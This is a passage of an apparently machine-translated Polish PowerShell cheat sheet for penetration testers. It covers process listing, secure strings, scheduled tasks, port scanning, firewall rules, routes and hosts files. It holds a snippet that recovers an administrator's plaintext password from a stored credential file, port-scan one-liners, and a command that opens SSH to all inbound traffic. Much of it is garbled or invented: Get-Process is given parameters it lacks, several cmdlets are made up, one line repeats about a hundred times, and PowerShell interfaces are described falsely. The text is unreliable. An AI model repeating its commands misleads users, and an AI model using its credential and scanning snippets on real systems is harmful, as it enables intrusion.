i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania oraz użyć szyfrowania jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
, -Authentication
, -UseSSL
i -Port
i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania oraz numer portu jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
, -Authentication
, -UseSSL
, -Port
i -Protocol
i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu oraz protokół jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
, -Authentication
, -UseSSL
, -Port
, -Protocol
, -ThrottleLimit
i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu, protokół oraz limity jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół> -ThrottleLimit <limity>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami i czasem oczekiwania
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami i czasem oczekiwania, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
, -Authentication
, -UseSSL
, -Port
, -Protocol
, -ThrottleLimit
, -TimeoutSec
i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu, protokół, limity oraz czas oczekiwania jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół> -ThrottleLimit <limity> -TimeoutSec <czas_oczekiwania>
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Usługi
Windows PowerShell
Windows PowerShell to zaawansowany język skryptowy i środowisko powłoki systemowej stworzone przez firmę Microsoft. Jest to potężne narzędzie, które umożliwia zarządzanie i automatyzację różnych zadań w systemie Windows.
Podstawowe polecenia PowerShell
Poniżej przedstawiono kilka podstawowych poleceń PowerShell, które mogą być przydatne dla pentesterów:
Get-Process
: Wyświetla listę uruchomionych procesów w systemie.Get-Service
: Wyświetla listę uruchomionych usług w systemie.Get-EventLog
: Wyświetla zdarzenia z dziennika zdarzeń systemu.Get-WmiObject
: Pobiera informacje o obiektach WMI (Windows Management Instrumentation).Get-NetAdapter
: Wyświetla informacje o sieciowych adapterach w systemie.Get-NetFirewallRule
: Wyświetla reguły zapory sieciowej.Get-NetTCPConnection
: Wyświetla aktywne połączenia TCP.Get-NetUDPEndpoint
: Wyświetla aktywne punkty końcowe UDP.Get-NetRoute
: Wyświetla tablicę trasowania sieciowego.Get-NetIPAddress
: Wyświetla informacje o adresach IP.
Skrypty PowerShell
PowerShell umożliwia tworzenie skryptów, które mogą być wykonywane w celu automatyzacji zadań. Poniżej przedstawiono kilka przykładów skryptów PowerShell:
Invoke-Command
: Wykonuje polecenia na zdalnym komputerze.Invoke-Expression
: Wykonuje polecenia z ciągu znaków.Invoke-WebRequest
: Pobiera zawartość strony internetowej.Start-Process
: Uruchamia nowy proces.Stop-Process
: Zatrzymuje działanie procesu.New-Item
: Tworzy nowy element, takie jak plik lub katalog.Remove-Item
: Usuwa element, takie jak plik lub katalog.Set-ItemProperty
: Ustawia właściwość elementu.
Skrypty PowerShell dla pentesterów
Poniżej przedstawiono kilka przykładów skryptów PowerShell, które mogą być przydatne dla pentesterów:
Get-LocalAdmins
: Wyświetla listę kont lokalnych administratorów.Get-LocalGroups
: Wyświetla listę grup lokalnych.Get-LocalGroupMembers
: Wyświetla listę członków grupy lokalnej.Get-LocalGroupMembership
: Wyświetla informacje o przynależności do grup lokalnych.Get-LocalGroupPolicies
: Wyświetla listę zasad grupy lokalnej.Get-LocalGroupPolicy
: Wyświetla informacje o konkretnej zasadzie grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.Get-LocalGroupPolicyResultantSet
: Wyświetla wynik zasad grupy lokalnej.- `
Get-Service
Hasło zabezpieczonego ciągu znaków
Aby uzyskać dostęp do hasła przechowywanego jako zabezpieczony ciąg znaków w PowerShell, możemy użyć następującego kodu:
$secureString = ConvertTo-SecureString -String "hasło" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
W powyższym kodzie tworzymy zabezpieczony ciąg znaków $secureString
przy użyciu funkcji ConvertTo-SecureString
. Następnie, za pomocą metody SecureStringToBSTR
, konwertujemy go na niezabezpieczony ciąg znaków $plainText
.
Warto zauważyć, że przechowywanie haseł jako zabezpieczonych ciągów znaków nie jest zalecane, ponieważ istnieje ryzyko ich odczytania przez nieuprawnione osoby. Lepiej jest używać innych metod przechowywania haseł, takich jak uwierzytelnianie wieloskładnikowe lub zarządzanie hasłami za pomocą narzędzi do zarządzania tożsamościami.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Zaplanowane zadania
Scheduled Tasks (Zaplanowane zadania) to mechanizm w systemie Windows, który umożliwia uruchamianie określonych poleceń lub skryptów w określonym czasie lub w określonych interwałach czasowych. Jest to przydatne narzędzie zarówno dla administratorów systemu, jak i dla pentesterów, którzy mogą wykorzystać je do wykonania różnych działań w celu uzyskania dostępu do systemu lub wykonania innych zadań.
Przegląd zaplanowanych zadań
Aby wyświetlić listę wszystkich zaplanowanych zadań w systemie, można użyć polecenia Get-ScheduledTask
. Polecenie to zwróci informacje takie jak nazwa zadania, ścieżka do pliku wykonywalnego, opis zadania, stan zadania (włączone/wyłączone) oraz harmonogram uruchamiania zadania.
Get-ScheduledTask
Tworzenie nowego zaplanowanego zadania
Aby utworzyć nowe zaplanowane zadanie, można użyć polecenia New-ScheduledTask
. Polecenie to wymaga podania nazwy zadania, ścieżki do pliku wykonywalnego, harmonogramu uruchamiania zadania oraz innych opcjonalnych parametrów, takich jak argumenty wywołania czy konto, na którym zadanie ma być uruchamiane.
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\executable.exe") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -TaskName "MyScheduledTask"
Usuwanie zaplanowanego zadania
Aby usunąć zaplanowane zadanie, można użyć polecenia Unregister-ScheduledTask
. Polecenie to wymaga podania nazwy zadania, które ma zostać usunięte.
Unregister-ScheduledTask -TaskName "MyScheduledTask"
Modyfikowanie zaplanowanego zadania
Aby zmodyfikować istniejące zaplanowane zadanie, można użyć polecenia Set-ScheduledTask
. Polecenie to wymaga podania nazwy zadania oraz nowych parametrów, które mają zostać zmienione.
Set-ScheduledTask -TaskName "MyScheduledTask" -Trigger (New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday) -Description "New description"
Uruchamianie zaplanowanego zadania
Aby natychmiastowo uruchomić zaplanowane zadanie, można użyć polecenia Start-ScheduledTask
. Polecenie to wymaga podania nazwy zadania, które ma zostać uruchomione.
Start-ScheduledTask -TaskName "MyScheduledTask"
Podsumowanie
Zaplanowane zadania są przydatnym narzędziem w systemie Windows, które można wykorzystać do automatyzacji różnych zadań. Zarówno administratorzy systemu, jak i pentesterzy mogą korzystać z tych mechanizmów w celu zarządzania systemem lub przeprowadzania testów penetracyjnych.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Skanowanie portów
Skanowanie portów to proces identyfikacji otwartych portów na docelowym systemie. Pozwala to na zidentyfikowanie usług działających na tych portach i potencjalne luki w zabezpieczeniach. Istnieje wiele narzędzi do skanowania portów, takich jak Nmap, które można wykorzystać do przeprowadzenia skanowania portów w celach pentestowych.
Nmap
Nmap jest jednym z najpopularniejszych narzędzi do skanowania portów. Pozwala na skanowanie pojedynczych hostów lub całych sieci w celu identyfikacji otwartych portów i usług. Poniżej przedstawiono kilka przykładów użycia Nmap:
- Skanowanie pojedynczego hosta:
nmap <adres_ip>
- Skanowanie całej sieci:
nmap <adres_ip>/<maska>
- Skanowanie konkretnych portów:
nmap -p <porty> <adres_ip>
- Skanowanie z wykorzystaniem specyficznych skryptów:
nmap -sC <adres_ip>
Nmap oferuje wiele opcji i funkcji, które można dostosować do konkretnych potrzeb. Warto zapoznać się z dokumentacją Nmap, aby poznać wszystkie możliwości tego narzędzia.
Wyniki skanowania
Po przeprowadzeniu skanowania portów, otrzymasz wyniki, które będą zawierać informacje o otwartych portach, usługach działających na tych portach oraz ewentualnych lukiach w zabezpieczeniach. Analiza tych wyników pozwoli Ci zidentyfikować potencjalne zagrożenia i podjąć odpowiednie działania w celu zabezpieczenia systemu.
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfejsy
Interfejsy w PowerShell są używane do definiowania kontraktów, które określają, jakie metody i właściwości powinny być dostępne w klasach implementujących dany interfejs. Interfejsy są używane do tworzenia abstrakcyjnych typów danych, które mogą być implementowane przez różne klasy.
Aby zdefiniować interfejs w PowerShell, użyj słowa kluczowego interface
. Następnie możesz zadeklarować metody i właściwości, które powinny być dostępne w klasach implementujących ten interfejs.
Przykład:
interface IExampleInterface {
[string] GetInfo()
[void] DoSomething()
}
W powyższym przykładzie zdefiniowano interfejs o nazwie IExampleInterface
, który zawiera dwie metody: GetInfo
, która zwraca wartość typu string
, oraz DoSomething
, która nie zwraca żadnej wartości.
Aby klasa mogła implementować interfejs, musi zadeklarować, że implementuje dany interfejs za pomocą słowa kluczowego implements
. Następnie musi zaimplementować wszystkie metody i właściwości zdefiniowane w interfejsie.
Przykład:
class ExampleClass : IExampleInterface {
[string] GetInfo() {
return "This is an example"
}
[void] DoSomething() {
Write-Host "Doing something"
}
}
W powyższym przykładzie klasa ExampleClass
implementuje interfejs IExampleInterface
poprzez zaimplementowanie metod GetInfo
i DoSomething
.
Interfejsy są przydatne w PowerShell, ponieważ umożliwiają tworzenie kodu bardziej elastycznego i modułowego. Dzięki nim można tworzyć klasy, które są zgodne z danym interfejsem, co ułatwia testowanie, rozwijanie i utrzymanie kodu.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Zapora ogniowa
Firewall (zapora ogniowa) jest podstawowym narzędziem do zabezpieczania systemu przed nieautoryzowanym dostępem. Może być skonfigurowany w celu blokowania lub zezwalania na ruch sieciowy na podstawie określonych reguł. Istnieją dwa rodzaje zapór ogniowych: zapora sprzętowa i zapora programowa.
Zapora sprzętowa
Zapora sprzętowa to urządzenie fizyczne, które działa jako punkt kontrolny dla ruchu sieciowego. Jest umieszczona między siecią wewnętrzną a zewnętrzną i monitoruje i blokuje nieautoryzowany ruch. Zapory sprzętowe są zazwyczaj bardziej wydajne i skuteczne niż zapory programowe.
Zapora programowa
Zapora programowa to oprogramowanie zainstalowane na komputerze, które kontroluje ruch sieciowy. Może być skonfigurowana w celu blokowania lub zezwalania na ruch na podstawie określonych reguł. Zapory programowe są bardziej elastyczne i mogą być dostosowane do indywidualnych potrzeb.
Konfiguracja zapory ogniowej
Konfiguracja zapory ogniowej jest kluczowa dla zapewnienia bezpieczeństwa systemu. Oto kilka podstawowych zasad konfiguracji:
- Zablokuj domyślne reguły: Wyłącz wszystkie domyślne reguły, które nie są potrzebne, aby ograniczyć potencjalne luki w zabezpieczeniach.
- Zdefiniuj reguły dostępu: Określ, jakie połączenia sieciowe są dozwolone i jakie są blokowane. Można to zrobić na podstawie adresów IP, portów, protokołów itp.
- Monitoruj ruch sieciowy: Regularnie sprawdzaj logi zapory ogniowej, aby wykryć nieautoryzowany ruch i podejrzane aktywności.
- Aktualizuj oprogramowanie zapory ogniowej: Upewnij się, że masz zainstalowane najnowsze aktualizacje oprogramowania zapory ogniowej, aby zapewnić ochronę przed nowymi zagrożeniami.
Podsumowanie
Zapora ogniowa jest niezbędnym narzędziem do zabezpieczania systemu przed nieautoryzowanym dostępem. Bez odpowiedniej konfiguracji i monitorowania może wystawić system na ryzyko ataków. Pamiętaj o regularnym aktualizowaniu oprogramowania zapory ogniowej i monitorowaniu ruchu sieciowego, aby utrzymać wysoki poziom bezpieczeństwa.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Trasa
Poniżej znajduje się lista poleceń PowerShell, które mogą być przydatne podczas testowania penetracyjnego systemów Windows.
Pobieranie informacji o trasie
Polecenie Get-NetRoute
pozwala na pobranie informacji o trasach sieciowych na hoście. Można użyć go do sprawdzenia, czy istnieją jakieś nieprawidłowe trasy lub trasy, które mogą być wykorzystane do przechwycenia ruchu sieciowego.
Get-NetRoute
Dodawanie trasy
Polecenie New-NetRoute
umożliwia dodanie nowej trasy sieciowej. Może to być przydatne, jeśli chcesz przekierować ruch sieciowy przez inny węzeł lub sieć.
New-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>
Usuwanie trasy
Polecenie Remove-NetRoute
służy do usuwania istniejących tras sieciowych.
Remove-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>
Modyfikowanie trasy
Polecenie Set-NetRoute
pozwala na modyfikację istniejących tras sieciowych.
Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>
Przekierowywanie ruchu sieciowego
Aby przekierować ruch sieciowy przez inny węzeł, można użyć polecenia Set-NetRoute
do dodania nowej trasy z odpowiednim adresem docelowym, indeksem interfejsu i adresem następnego skoku.
Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>
Zabezpieczanie tras
Aby zabezpieczyć trasy przed modyfikacją, można użyć polecenia Set-NetRoute
z opcją -PolicyStore PersistentStore
. Spowoduje to przechowywanie tras w trwałym magazynie, co uniemożliwi ich zmianę po ponownym uruchomieniu systemu.
Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku> -PolicyStore PersistentStore
Podsumowanie
Trasy sieciowe są ważnym elementem infrastruktury sieciowej. Zrozumienie, jak zarządzać trasami w systemie Windows, może być przydatne podczas testowania penetracyjnego. Polecenia PowerShell opisane powyżej mogą pomóc w pobieraniu, dodawaniu, usuwaniu, modyfikowaniu i zabezpieczaniu tras sieciowych.
route print
ARP
ARP (Address Resolution Protocol) jest protokołem używanym w sieciach komputerowych do mapowania adresów IP na adresy MAC. Protokół ARP jest wykorzystywany do komunikacji w warstwie 2 modelu OSI (Data Link Layer).
Atak ARP Spoofing polega na fałszowaniu odpowiedzi ARP w celu przekierowania ruchu sieciowego na inny adres MAC. Ten rodzaj ataku może być wykorzystany do przechwytywania danych, podsłuchiwania komunikacji lub przeprowadzania innych złośliwych działań w sieci.
Aby chronić się przed atakami ARP Spoofing, można zastosować techniki takie jak:
- Używanie protokołu ARP Inspection w sieciach VLAN.
- Konfiguracja statycznych wpisów ARP w urządzeniach sieciowych.
- Używanie narzędzi do wykrywania i monitorowania ataków ARP Spoofing.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosty
W pliku hosts możemy zdefiniować statyczne mapowania adresów IP na nazwy hostów. Jest to przydatne w celu przekierowania ruchu sieciowego na inne adresy IP lub do blokowania dostępu do określonych stron internetowych. Poniżej znajduje się przykładowa zawartość pliku hosts:
# Przykładowy plik hosts
# Adresy IP i nazwy hostów
127.0.0.1 localhost
192.168.1.10 example.com
W powyższym przykładzie, adres IP 127.0.0.1 jest przypisany do nazwy hosta "localhost", co oznacza, że wszelkie żądania wysłane do "localhost" będą kierowane na ten adres IP. Podobnie, adres IP 192.168.1.10 jest przypisany do nazwy hosta "example.com".
Aby dodać własne mapowania do pliku hosts, należy otworzyć go jako administrator i dodać nowe linie w formacie "adres_IP nazwa_hosta". Na przykład:
# Moje mapowania
192.168.1.20 myhost.com
Po zapisaniu zmian w pliku hosts, nowe mapowania będą obowiązywać. Jest to przydatne narzędzie podczas testowania aplikacji internetowych lub w celu zablokowania dostępu do niechcianych stron internetowych.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
